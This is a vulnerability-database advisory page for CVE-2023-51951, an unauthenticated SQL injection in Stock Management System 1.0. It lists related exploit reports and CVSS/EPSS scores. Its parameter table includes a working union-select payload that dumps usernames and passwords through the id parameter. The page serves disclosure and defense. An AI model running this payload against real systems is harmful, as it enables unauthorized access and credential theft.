Lucene search
K

CVE-2023-51951

🗓️ 05 Feb 2024 00:00:00Reported by mitreType 
cve
 cve
🔗 web.nvd.nist.gov👁 40 Views🌐 WEB

SQL Injection vuln in Stock Management System 1.0, allows remote code execution via id param in manage_bo.php file

Related
Detection
Refs
Paths
ReporterTitlePublishedViews
Family
0day.today
Stock Management System v1.0 - Unauthenticated SQL Injection Exploit
15 Apr 202400:00
zdt
ATTACKERKB
CVE-2023-51951
5 Feb 202421:15
attackerkb
Circl
CVE-2023-51951
5 Feb 202422:21
circl
CNNVD
Sourcecodester Stock Management System Security Vulnerability
5 Feb 202400:00
cnnvd
Cvelist
CVE-2023-51951
5 Feb 202400:00
cvelist
Exploit DB
Stock Management System v1.0 - Unauthenticated SQL Injection
13 Apr 202400:00
exploitdb
NVD
CVE-2023-51951
5 Feb 202421:15
nvd
OSV
CVE-2023-51951
5 Feb 202421:15
osv
Packet Storm
Stock Management System 1.0 SQL Injection
15 Apr 202400:00
packetstorm
Prion
Sql injection
5 Feb 202421:15
prion
Rows per page
ParameterPositionPathDescriptionCWE
idquery param/sms/admin/?page=purchase_order/manage_po&id='+union+select+1,2,3,4,5,6,7,8,group_concat(username,0x3a,password),10,11,12,13+from+users--+-Unauthenticated SQL injection via id parameter to dump user credentials (SQLi)CWE-89

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2026 15:15Current
9.8High risk
Vulners AI Score9.8
CVSS 3.19.8
EPSS0.03495
SSVC
40